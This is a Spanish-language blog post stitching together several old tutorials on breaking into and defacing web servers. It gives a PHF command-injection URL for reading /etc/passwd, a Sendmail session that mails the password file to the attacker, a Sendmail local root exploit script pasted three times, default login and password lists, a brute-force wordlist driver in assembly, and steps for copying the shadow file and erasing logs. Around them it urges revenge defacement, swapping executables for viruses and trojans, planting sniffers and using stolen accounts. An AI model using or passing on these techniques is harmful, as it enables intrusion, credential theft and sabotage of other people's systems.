viernes, 15 de julio de 2022

Hack de sitios web

 

CONTENIDOS


1.- Disclaimer


2.- Introduccion


3.- Comenzando el ataque


4.- Obtencion del fichero de Passwd


5.- Usando Exploits



DISCLAIMER 

El contenido de este texto esta solamente destinado a usos educacionales, de investigación y de desarrollo. En ningun momento el creador de este  texto se hace responsable de los daños causados debido a un mal uso de el mismo.


INTRODUCCION 

Si alguna vez se te ha ocurrido que sería divertido cambiar algunas cuantas cosillas de alguna web o de adueñarte de alguna, este texto es para ti. 

Si tu enemigo tiene una web y quieres acabar con ella este texto es para ti.

O si simplemente quieres conocer las posibilidades del hacking este texto es para ti.


COMENZANDO EL ATAQUE 

Lo primero que hay hacer es localizar al servidor victima...

(e.j.)

http://www.victima.com <----------- Victima

Despues recopila la mayor cantidad de informacion sobre el servidor victima por ejemplo su IP, DNS, version de Sendmail, etc.

La mayoria de las veces el servidor que contiene la web-page del site solo tiene unos cuantos logins como el del root y el de algunos cuantos administradores pero para saber cuales y cuantos usuarios, necesitas el fichero de passwd.


OBTENCIÓN DEL FICHERO DE PASSWD

Hay varias formas de entrar, una de ellas seria obteniendo el archivo de passwd pero como? bueno he aqui algunas formas.

Nota para Newbies: Si entras al servidor por ftp con el usuario anonymous y te vas al directorio /etc y te encuentras el fichero passwd no te emociones este fichero solo es basura el fichero correcto esta en:

/home/ftp/etc/passwd <--------- Basura que encuentras si entras por anonymous

/etc/passwd <------------------ Fichero correcto de passwd.

Hay muchas formas de obtener el fichero de passwd como por ejemplo con el phf:

http://www.elsitevictima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

( 1 )( 2 )( 3 )( 4 )(5)( 6 )


1.- El site que quieras atacar.

2.- El comando phf.

3.- Aqui es donde esta el secreto.

4.- El programa que quieres que se ejecute.

5.- El %20 es un espacio.

6.- Y pues aqui va el archivo o directorio que quieres ver.


O tambien con exploits, este es para obtener el fichero de passwd de servidores con Sendmail con versiones anteriores a la 5.57


% telnet victima.com 25 

Trying 255.255.255.0...

Connected to victima.com 

Escape character is '^]'.

220 victima.com Sendmail 5.55 ready at Sunday, 12 Sept 97 12:09

mail from: "|/bin/mail tudireccion@decorreo.com < /etc/passwd

250 "|/bin/mail tudireccion@decorreo.com < /etc/passwd"... Sender ok

rcpt to: Aqui_pon_lo_que_se_te_antoje.

550 Aqui_pon_lo_que_se_te_antoje.... User unknown

data

354 Enter mail, end with "." on a line by itself

.

250 Mail accepted

quit

Connection closed by foreign host.

%


Despues crackeas el fichero de passwd con cualquier crackeador como el Jack the Ripper o el que acostumbres usar y si sacas alguna de las cuentas telnetea:


%telnet

%o

(to)www.victima.com

Trying 255.255.255.0 ....

Escape character is '^]'.


Linux 2.0.0 (www.victima.com) (tty2)


login:XXXXXXXX

passwd:XXXXXXXX


USANDO EXPLOITS

La forma mas sencilla de hackear una web-page es usando exploits he aqui uno que te hara root en Sendmail 8.8.4.


**************************************************


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

} 

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

} 

_EOF_

>

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0); 

} 

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0); 

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// 

|cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi 


**************************************************

NUNCA HAGAS ESTO ...


Bien ya tengo el root o una cuenta de algun administrador ahora que?, pues ahora sigue la parte mas divertida.

Estando como root bajas todos los archivos de la pagina y despues los  editas cada archivo guardalo con el mismo nombre que tenia para ahorrarte trabajo, luego editas la web-page.

Usa tu imaginzacion por ejemplo si hay archivos executables remplazalos por virus cambia los links modifica las imagenes etc. ahora reemplazas los antiguos archivos por los nuevos recuerda que el chiste es hacer cambios que no llamen mucho la atencion para que los Admins no se den cuenta y dure mas tiempo.


Y recuerda |-|4cK t|-|3 \/\/0r1d ....

COMO HACKEAR PÁGINAS WEB

Bien.. seguro que este es uno de los puntos que más interesa a los hackers novatillos...

Ante la falta de documentos de este tipo en castellano, he decidido crear este yo mismo.

No voy a explicar todas las técnicas que se pueden usar para conseguirlo, (ya no las se).

Las técnicas son infinitas. Por cada agujero posible en un sistema, hay una técnica. Solo es necesario encontrar la adecuada. Antes que nada debemos inspeccionar el lugar que vamos a "visitar". Debemos buscar todos los posibles accesos al sistema... (telnet, ftp, etc...)


COGIENDO EL FICHERO DE PASSWORD A TRAVÉS DE FTP


Ok, bien... Una de las formas más fácil de conseguir ser "superusuario" en el sistema es accediendo a través de ftp anónimo al fichero "passwd". Primero necesitas conocer algo sobre los ficheros password:


root:User:g36Dfr:1j2YF6:1256:20:Superuser

Camilo:p5P:h0iuE:2552:20:Camilo,:/usr/personal/camilo:/bin/csh

BlackJack:EUhg3zACG2ab:1128:20:BlacJack LCD:/usr/personal/lcd:/bin/csh


Este es el ejemplo de un fichero encriptado normal. El superusuario es la parte que te da el root. Es la parte que nos interesa.


root:*:0:1:Misericordios:/:/bin/sh

ftp:*:202:102:Anonymous FTP:/U1/ftp

ftpadmin:*:203:102:ftp Administrator:/u1/ftp


Este es otro ejemplo de un fichero password, solo que este tiene una pequeña diferencia este está controlado. Los password controlados no te dejan ver o copiar el actual password encriptado . Esto causa problemas para el Cracker y el diccionario que uses (después se explica).

Losiguiente es otro ejemplo de otro password controlado:


root:*:0:1:0000-Admin(0000):7:/usr/bin/csh

daemon:*:1:1:0000-Admin(0000):/:

bin:*:2:2:0000-Admin(0000):/usr/bin:

etc...

los password controlados tienen un "*" o "x" en el lugar donde va el password.

Ahora que tu conoces un poco más acerca de cómo identificar un password encriptado de un password controlado, podemos hablar de como crackearlo.

Cracker un password no es tan complicado como parece. Los archivos varían de sistema a sistema.

Debemos antes que nada, de hacernos con el fichero passwd.

Bajatelo a tu disco duro. Una vez lo tengas en tu disco duro necesitas un cracker y un diccionario. Puedes usar el Cracker Jack, John the ripper (aconsejado), jack the ripper, brute force cracker.... Los puedes encontrar en cualquier página de hacking.

Cuando ejecutes el cracker, deberas indicar cual es el fichero passwd. Hay muchos sistemas para buscar el passwd. Aqui es donde actua el diccionario. Un diccionario encuentra todas las posibles combinaciones posibles con el alfabeto que uses, incluyendo toda clase de caracteres "raros". Lo normal es que tenga predefinido miles de palabras posibles.

Si este método no funciona se hace un rastreo completo, probando todas las combinaciones posibles desde 1 caracter hasta el total permitido. Asi SIEMPRE lo encuentra, aunque el problema está en que tarda mucho. Una vez tengas el password, YA ESTA!!! tendrás acceso a todo el sistema. 

TECNICA PHF

La tecnica del phf es una de la más vieja (y que menos suele funcionar,tambien hay que decirlo) de conseguir un password. Es Imprescindible probarla siempre. (por probar que no quede...) ya que no cuesta nada y aveces se encuentra a alguna víctima que cae.

Todo lo que debes hacer es abrir tu "notescapes navegando" y escribir lo siguiente:

http://[dominio]/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Y ya está!. acontinuación se empezará a transmitir una linda copia del fichero con los password (si funciona, claro está).

REDES LOCALES

Otro sistema es buscar la dirección IP del dominio a hackear. Todas las máquinas conectadas a la red tienen una dirección IP. por ejemplo:

www.probando.com

debemos averiguar el IP de este servidor. (no me jodas con que no sabes como).

hay miles, no, millones de programas que te lo dicen.

(hasta con el 7thsphere port fuck que viene con el sript de irc de mismo nombre, te lo dice) suponiendo que fuese:

194.179.23.100

esto es la dirección IP de la máquina central. Tal vez inaccessible, pero si tiene una red local conectada a esta.. (ordenador del diseñador, del director... que se yo!) las máquinas de la red tendrán un IP muy parecido. Sabes lo que puede pasar si en tu navegador escribes lo siguiente?:

194.179.23.101 o 194.179.23.102 ... etc...

que accederás a los ordenadores que estén en esa red local (siempre y cuando sean tan capullos de no protegerlos porque no están cara al público!) curioso ¿no?

DIRECTORIOS OCULTOS

Este método aunque parezca una chorrada... te juro que no lo es.

Te voy a narrar algo que paso por diciembre del 96 a un amigo hacker....

...a ver... voy a hackear un servidor de Internet...

este esta bien. Son novatos. Mucho mejor, seguro que tendrán un huevo de fallos. ¿Tendrán ftp anonimo?

Login: anonymous

passworD: anonymous

yeah! hay ftp anónimo con programitas shareware jeje....

mmmm... no está el directorio etc/ ....

vamos a ver si deja cambiar de directorio. igual está oculto.

-chg directory

cambiar a /etc

no existe. igual lo tienen protegido.

cambiar a /administrador

no existe.

cambiar a /administrator

SI EXISTE... hehehe

que hay en este directorio... etc/ bin/ mail/ (joder!) etc.....

y veamos! si están las páginas web aqui!

y el correo electrónico y todo! ah!. Soy un hacker no un criminal.

A pesar de poder abrirse cuenta de acceso a internet, leer correos electrónicos etc... solo cambió la página web.

el servidor en cuestión es conexión global internet (http://www.cglobal.com) aunque el nombre cambió durante un día por "conexión mamadón internet" hehehe... ya no tienen ftp anónimo. (mira a ver). es que los hay capullos.

Por probar que no quede. A probar todo lo que se te ocurra.

Si el servidor es de WinNT mejor que mejor! más rápido caerá.

probar con directorios ocultos tipo:

/root

/pub

/bin

/etc

/administrador

/administrator

/lo que se te ocurra.

Hackear Paginas WEB

  • Introducción
  • Diferencias en los tipos de WEB
  • Obteniendo Passwords en el tipo A.
  • Obteniendo Passwords en el tipo B.
  • Precauciones.

1º INTRODUCCIÓN

El objetivo de este documento es el dar a conocer posibles formas de alteración del contenido de una página WEB por personal no autorizado a ello ( llamémoslo hacking ;)).

No me hago responsable del uso que se pueda hacer de este documento, pues su única finalidad es la de informar, y el que lo use para otra cosa... lo hace bajo SU entera responsabilidad... ¿ Queda claro ?, si no te parece bien deja de leer y borra el fichero de tu HD ( disco duro para los muy novatos...).

Las cosas que se describen en este fichero no te aseguran éxito seguro, probablemente en la mayoría de los casos sólo te sirvan para empezar, teniendo que improvisar tu, pero prometo que este doc. será mejor que los que he visto sobre el tema en Internet.

El nivel de este documento es básico, pues no intenta enseñar todo en un dia, mas que nada saber como empezar a hacer algo digamos "util".

Nota: A pesar de que podrás hacer todo lo que aquí pone desde Windows 95 o 98, te recomiendo que pruebes algun Linux (aunque sea el Trinux, que cabe en 3 diskettes x´PPP (www.trinux.org)). Este documento está escrito en WORD pk lo tiene todo cristo ( jeje casi todos ilegal para que se joda Microsoft (con perdon)).


2º DIFERENCIAS ENTRE TIPOS DE WEBs

Creo que para que nos entendamos mejor, es importante distinguir entre dos clases de WEBs, las webs personales, que pueden ser modificadas por el usuario propietario mediante su clave (tipo Geocities, Xoom y los proveedores de acceso a Inet que ofrecen espacio WEB).

El segundo tipo, serian aquellas WEBs, llamemoslas "principales" de un servidor, que solo pueden ser modificadas por usuarios con muy altos privilegios (llamémoslos "root" o "administrador").

Pues que bien ¿no?, y esta diferenciación tan chorra... ¿para que vale?... pues la utilizaremos para diferenciar las formas de hacernos con los passwords que nos dejan modificarlas... evidentemente no es igual de facil conseguir ser root en un server que tener una cuenta de usuario... asi que para esto es la diferenciación.


3º OBTENIENDO PASSWORDS DE TIPO A (USUARIO):

Estos passwords de usuarios, generalmente no muy cualificados, se caracterizan por ser muy chorras, osea faciles de recordar, repetidos con los passwords de otras cosas... así que si la persona propietaria de las WEB es alguien cercano a ti, puedes empezar probando algunas palabras que te puedan parecer "interesantes" ( nombre del perro, mujer, hijos, fecha de nacimiento, lugar de residencia...), pero tampoco te mates mucho probando pues esto es perder el tiempo muchas veces, asi que si a los 10 o 11 intentos ( según tu paciencia ) no sale nada, mejor dejes esta forma ;)

Pero también sería una buena idea intentar sacar el password a la "víctima" a través de engaños y demás ( lo llaman ingeniería social...), por ejemplo puedes ligarte al chico/a y conseguir que te diga su pass... o también puedes intentar meterle un troyano tipo BO o NETBUS, que te permitirán sacarle las pass, evidentemente no voy a contar aquí lo que le tienes que decir a la víctima para que te crea... eso tendras que currelarlo tu un pokito

Ademas, si conseguimos el fichero de passwords del servidor... ¡¡Estamos de suerte!! Pues generalmente los passwords de usuario son bastante fáciles de crackear... solo elige el usuario y pon el john the ripper a trabajar ( el john es uno de los programas de cracking de ficheros PASSWD de UNIX mas conocidos, puedes conseguirlo en www.geocities.com/SiliconValley/Peaks/7837  , si no sabes usarlo... DON´T WORRY, trae ayuda...).

Pero probablemente el problema no sea el uso del John, sino el conseguir el fichero PASSWD, así que para eso vamos al siguiente apartado de este cursillo.

3º OBTENIENDO PASSWORDS DE TIPO B (root):

Normalmente los administradores de los servidores no se chupan el dedo, asi que conseguir el fichero o el root directamente a traves de un exploit ( programa que se aprovecha de un BUG o agujero en el sistema operativo) no sea una tarea facil.

Lo primero que puedes intentar es pillar el passwd por el FTP... y cuando eso no te haya funcionado probar el PHF ( escribir la siguiente linea en tu navegador: http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd , donde host.com es el nombre del servidor...), si el phf funcionase ( en estos tiempos ya suele estar parcheado en casi todos los servidores, asi que si no te sirve no te deprimas), tendrías en tu pantalla el fichero passwd, pero antes de alegrarte fijate en algo, si aparece:

root:*:0:0:Charlie &:/root:/bin/csh

( un asterisco (*) detrás del nombre "root" y los dos puntos, también puede aparecer una equis (x)...), querrá decir que el fichero esta shadow osea que aparte del PASSWD necesitas otro archivo... el SHADOW, puedes intentar sacarlo con PHF cambiando la palabra passwd del final de la línea del PHF por la palabra shadow ( para ser un poco mas explicito puedes jugar con el phf, cambiando de directorio... supongo que te estarás dando cuenta de cómo y si no, hay va una pista... "etc" es el nombre de un directorio ).

Bueno, si lo anterior no ha funcionado, no te preocupes, aún tenemos mas bazas que jugar.

Si por cualquier casualidad de la vida posees una cuenta de usuario en el servidor, puedes intentar hacerte con el passwd ( y con el shadow si hace falta) a traves de telnet ( prueba con cat o more , para ver si Dios es tu amigo y puedes editar los archivos...) o, puedes enterarte del Sistema operativo que usa el server, version ... (entérate también de la version del STMP, FTP ...) y vete a buscar exploits ( ya explique antes lo que son exploits...).

Una vez que lo/s tengas pues... los pruebas!!! ¿Sino para que coño los has cojido?... para probarlos, primero tendrás que compilarlos ( ojo, hay exploits que no hay que compilar, pues simplemente consisten en teclear unos comandos o algo asi... jeje si tienes algo de experiencia seguro que recuerdas algunos viejos compañeros ;) ).

Un buen sitio para pillar exploits es: http://www.rootshell.com/  

¿ Y donde los compilo ?, pues o el propio server ( con gcc ) o en otro con el mismo SO, ojo no puedes compilar exploits para un SUN en un linux Red Hat ... una vez que lo tengas compilado lo ejecutas... y a ¡jugar!

Después de todo esto, y otro poco por tu parte seguramente ya tengas root en algún pequeño server para probar... (recuerda si no tienes mucha soltura... empieza por lugares con baja legislación... que si te cachan no se meten mucho contigo ¿verdad?).

4º PRECAUCIONES

Pues eso... procura no usar cuentas verdaderas para conectar ( aunque piensa que si dejas huellas... los marrones serán pal dueño de la cuenta, y eso no esta bien..., asi que cuidado con las cuentas de internet robadas, solo usar las que sepais que el dueño es un verdadero hijoputa o algo asi... o mejor si usas servidores "intermedios" o borras las huellas con algún zapper ( si lo usas sastamente como un exploit)... ahh, si te descubres un root y tal, pues deja algun sniffer y eso para recoger la cosecha... ( mas ke na no desperdiciar kurro ya hecho).

Hackear Webs

 1. Introduccion

Si alguna vez has hechado a volar tu imaginacion se te habra ocurrido que seria  comico remover algunas graficas de algun website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo.

Primero  deberas  entender que andar por ahi  borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema  al que no estes autorizado y echar una ojeada alrededor. Si te dedicas a invadir  sistemas y borrar archivos le quitaras  el privilegio a otra persona de entrar a ese sistema ya que el operador se dara cuenta de la intrusion y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que  se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectandolos con algun buen virus  (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS.

2. Websites

Un website es solamente una computadora llamada servidor por su capacidad de de  realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la informacion guardada en algun medio.

  2.1 Ganando acceso a un servidor WWW

Aqui reside la magia del Hacker, la proteccion comun son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de  usuario (Login) y contrase¤a (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada.

Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con  el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio.

Si lograste conseguir la dirección IP usa telnet para conectarse a esa dirección.  Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente esté protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD.

Para  entrar  necesitas conseguir alguna cuenta haciendo algo de ingenieria social o intenta con los defaults.

 

   * CUENTAS DEFAULTS DE UNIX *


Login:                                Password:


root                                    root

root                                    system

sys                                     sys

sys                                     system

daemon                                  daemon

uucp                                    uucp

tty                                     tty

test                                    test

unix                                    unix

unix                                    test

bin                                     bin

adm                                     adm

adm                                     admin

admin                                   adm

admin                                   admin

sysman                                  sysman

sysman                                  sys

sysman                                  system

sysadmin                                sysadmin

sysadmin                                sys

sysadmin                                system

sysadmin                                admin

sysadmin                                adm

who                                     who

learn                                   learn

uuhost                                  uuhost

guest                                   guest

host                                    host

nuucp                                   nuucp

rje                                     rje

games                                   games

games                                   player

sysop                                   sysop

root                                    sysop

demo                                    demo

 


Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiendote de trucos como hablar por telefono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear  un programa que robe las claves de acceso del disco duro de una persona.

3. Cuando se esta adentro

Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc

Para obtener el archivo PASSWD usa el siguiente ejemplo:

($ simboliza el prompt UNIX)

$ ftp

FTP> get /etc/passwd

FTP> quit


Para ver el contenido de el archivo usa el siguiente comando:


$ cat /etc/passwd

 

Una vez que tengas en tu posesion el archivo PASSWD editalo y fijate en su contenido, debera tener la siguiente informacion:


       usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell


usuario    - Este es el login de algun usuario.

contrase¤a - Es el password de el usuario (encriptada con DES)

ID         - Es la identificacion de ese usuario.

grupo      - El grupo al que pertenece esta cuenta.

descripcion- El nombre del usuario.

directorio - El directorio de acceso de el usuario.

shell      - El shell que procesa los comandos de ese usuario.


 Un ejemplo podria ser:


    john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john


Nombre de usuario: john

Password encriptado: 234abc56

Usuario numero: 9999

Numero de grupo: 13

Descripcion: John Johnson

Directorio de acceso: /home/dir/john

Shell: /bin/john

Si el archivo que conseguiste contiene la misma informacion pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contrase¤as se encuentran 'sombreadas'.

Si las contraseñas se encuentra sombreada,las podras encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root.  Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y despues tratar de obtener el archivo al que se copio, ejemplo:


$cp /etc/shadow /usuarios/carlos/hack.txt

$ftp

FTP> get /usuarios/carlos/hack.txt

FTP> quit

$rd /usuarios/carlos/hack.txt


Ya tengo los passwords encriptados, ahora que?

Los passwords estan encriptados usando one-way encription, significa que  no se  pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso.

Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidio con la contrase¤a encriptada.

Algunos programas de este tipo son:

Nombre            Palabras por Segundo    Computadora

John the Ripper          5077                 586

Starcracker              1300                 586

Cracker Jack             1008                 586

KillerCracker             350                 586


Estos programas se encuentran disponibles en cualquier pagina de Hackers, si quieres la ultima version de StarCracker visita la siguiente URL: http://www.geocities.com/SiliconValley/park/8403/index.html

Para conseguir listas de palabras haz FTP a el siguiente servidor:

warwick.ac.uk

directorio: /pub/cud

Algunas de las palabras mas usadas en contraseñas son:

 

      aaa            academia          ada            adrian

      aerobics       airplane          albany         albatros

      albert         alex              alexander      algebra

      alias          alisa             alpha          alphabet

      ama            amy               analog         anchor

      andy           andrea            animal         answer

      anything       arrow             arthur         ass

      asshole        athena            atmosphere     bacchus

      badass         bailey            banana         bandit

      banks          bass              batman         beautiful

      beauty         beaver            daniel         danny

      dave           deb               debbie         deborah

      december       desire            desperate      develop

      diet           digital           discovery      disney

      dog            drought           duncan         easy

      eatme          edges             edwin          egghead

      eileen         einstein          elephant       elizabeth

      ellen          emerald           engine         engineer

      enterprise     enzyme            euclid         evelyn

      extension      fairway           felicia        fender

      finite         format            god            hello

      idiot          jester            john           johnny

      joseph         joshua            judith         juggle

      julia          kathleen          kermit         kernel

      knight         lambda            larry          lazarus

      lee            leroy             lewis          light

      lisa           louis             love           lynne

      mac            macintosh         mack           maggot

      martin         marty             marvin         matt

      master         maurice           maximum        merlin

      mets           michael           michelle       mike

      minimum        nicki             nicole         rascal

      really         rebecca           remote         rick

      reagan         robot             robotics       rolex

      ronald         rose              rosebud        rosemary

      roses          ruben             rules          ruth

      sal            saxon             scheme         scott

      secret         sensor            serenity       sex

      shark          sharon            shit           shiva

      shuttle        simon             simple         singer

      single         singing           smile          smooch

      smother        snatch            snoopy         soap

      socrates       spit              spring         subway

      success        summer            super          support

      surfer         suzanne           tangerine      tape

      target         taylor            telephone      temptation

      tiger          tigger            toggle         tomato

      toyota         trivial           unhappy        unicorn

      unknown        urchin            utility        vicki

      virginia       warren            water          weenie

      whatnot        whitney           will           virgin

      william        winston           willie         wizard

      wonbat         yosemite          zap            whatnow

 

Obtuve algunas cuentas, ahora?

Para  poder  hacer  y  deshacer en el servidor necesitas el password  de  la cuenta root. Si despues de intentar con algunas listas de palabras no puedes necesitaras  hacer  un ataque en bruto, es decir empezar desde  la  letra  A hasta la palabra zzzzzzzz

El  siguiente programa necesita ser compilado usando TASM y es una lista  de palabras TSR que no ocupa espacio en disco y puede ser modificada,  es ideal para ataques brutos a la cuenta r00t 

 

+++++++++++++++++++++++++++++++++++++++++++++

P A S S W O R D   E N G I N E  (for IBM PC's)                

+++++++++++++++++++++++++++++++++++++++++++++


Que tan practico es?

Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tama¤o.

Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' seran generados.

Como empiezo a usar esta lista de palabras?

Compila el codigo y nombralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS

device=c:\hackdrv.sys

Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) debera reconocer hackpwd como una lista de palabras y empezar a crackear.

Si deseas reiniciar una sesion desde una combinacion especifica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza ;-0


+++++++++++++++++++++++++++++++++++++++++++++

;Program HACKDRV.SYS

;

org 0h

next_dev dd -1

attribute dw 0c000h            ;character device w/ ioctl calls

strategy dw dev_strategy

interrupt dw dev_int

dev_name db 'HACKPWD '

countr dw offset number

number db 'aaaaaa',0ah         ;<---- 6 caracteres en minusculas (empiezo)

numsize equ $-number - 2

afternum:


;working space for device driver

rh_ofs dw ?

rh_seg dw ?


dev_strategy:               ;strategy routine

mov cs:rh_seg,es

mov cs:rh_ofs,bx

retf


dev_int:                    ;interrupt routine

pushf

push ds

push es

push ax

push bx

push cx

push dx

push di

push si


cld

push cs

pop ds


mov bx,cs:rh_seg

mov es,bx

mov bx,cs:rh_ofs


mov al,es:[bx]+2

rol al,1

mov di,offset cmdtab

xor ah,ah

add di,ax

jmp word ptr[di]

 


cmdtab:            ;command table

dw init        ;0

dw exit3       ;1

dw exit3       ;2

dw ioctl_read  ;3

dw do_read     ;4

dw exit3       ;5

dw exit3       ;6

dw exit3       ;7

dw exit3       ;8

dw exit3       ;9

dw exit3       ;10

dw exit3       ;11

dw ioctl_write ;12

dw exit3       ;13

dw 5 dup (offset exit3)


ioctl_read:

push es

push bx


mov si,es:[bx+10h]

mov di,es:[bx+0eh]

mov es,si


push cs

pop ds

mov si,offset number

xor cx,cx


get_char:

lodsb

stosb

inc cl

cmp al,0ah

jz ioctl_rend

jmp get_char


ioctl_rend:

pop bx

pop es

mov es:[bx+012h],cx

mov cs:countr,offset number

jmp exit2


ioctl_write:

push es

push bx

mov si,es:[bx+010h]

mov ds,si

mov si,es:[bx+0eh]

mov cx,numsize+1               ;es:[bx+012h]

push cs

pop es

mov di,offset number

repe movsb

pop es

pop bx

mov cs:countr,offset number

jmp exit2

 


do_read:

push es

push bx

 


push cs

pop ds


mov si,[countr]

inc si                      ;word ptr [countr]

cmp si,offset afternum

jnz is_okay

mov si,offset number

call inc_num

 


is_okay:

mov [countr],si

mov di,es:[bx]+0eh

mov ax,es:[bx]+010h

mov cx, es:[bx]+012h

jcxz clean_up

mov es,ax

repe movsb


clean_up:

pop bx

pop es

jmp exit2

 


exit3: mov es:word ptr 3[bx],08103h

jmp exit1


exit2:

mov es:word ptr 3[bx],0100h


exit1:

pop si

pop di

pop dx

pop cx

pop bx

pop ax

pop es

pop ds

popf

retf

exit:


inc_num proc near

 push si

 mov si,numsize


 reiterate:

  inc byte ptr [number+si]

  cmp byte ptr [number+si],'z'+1    ;+1 past ending char. in range

  jnz _exit

  mov byte ptr [number+si],'a'      ;starting char. in range

  dec si

  cmp si,-1

  jnz reiterate

  mov byte ptr [number],01ah        ;send EOF

 _exit:

  pop si

  ret

inc_num endp

 

 


at_eof:                        ; the non-resident code starts here


initial proc near

push es


push cs

pop ds


push cs

pop es


mov si,offset number

mov di,offset tmpnum

cld

_again:

lodsb

cmp al,0ah

jz _nomorechars

stosb

jmp _again


_nomorechars:

mov si,offset msgend

mov cx,4

repe movsb


mov ah,09             ;print welcome message

mov dx,offset msg1

int 21h


pop es

ret

initial endp


init: call initial

mov ax,offset at_eof

mov es:[bx]+0eh,ax

push cs

pop ax

mov es:[bx]+010h,ax

mov cs:word ptr cmdtab,offset exit3

jmp exit2

 


msg1    db "Incremental Password Generator (c)1995",0ah,0dh

        db "Written by Uncle Armpit",0ah,0dh,0ah,0dh

        db "Starting at word ["

tmpnum  db 10 dup (?)

msgend  db "]",0a,0d,'$'

;END hackdrv.sys

+++++++++++++++++++++++++++++++++++++++++++++

 Como limpiar tus huellas

Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos  como  logs, syslog, log,  o  cualquiera  que parezca  que  guarda un reporte  de  los accesos  y borralos  o mejor aun editalos usando  el  editor de archivos de UNIX.  Para ejecutar el editor usa el comando vi

Edita o borra los siguientes archivos: /etc/syslog

                                       /etc/log

                                       /etc/logs

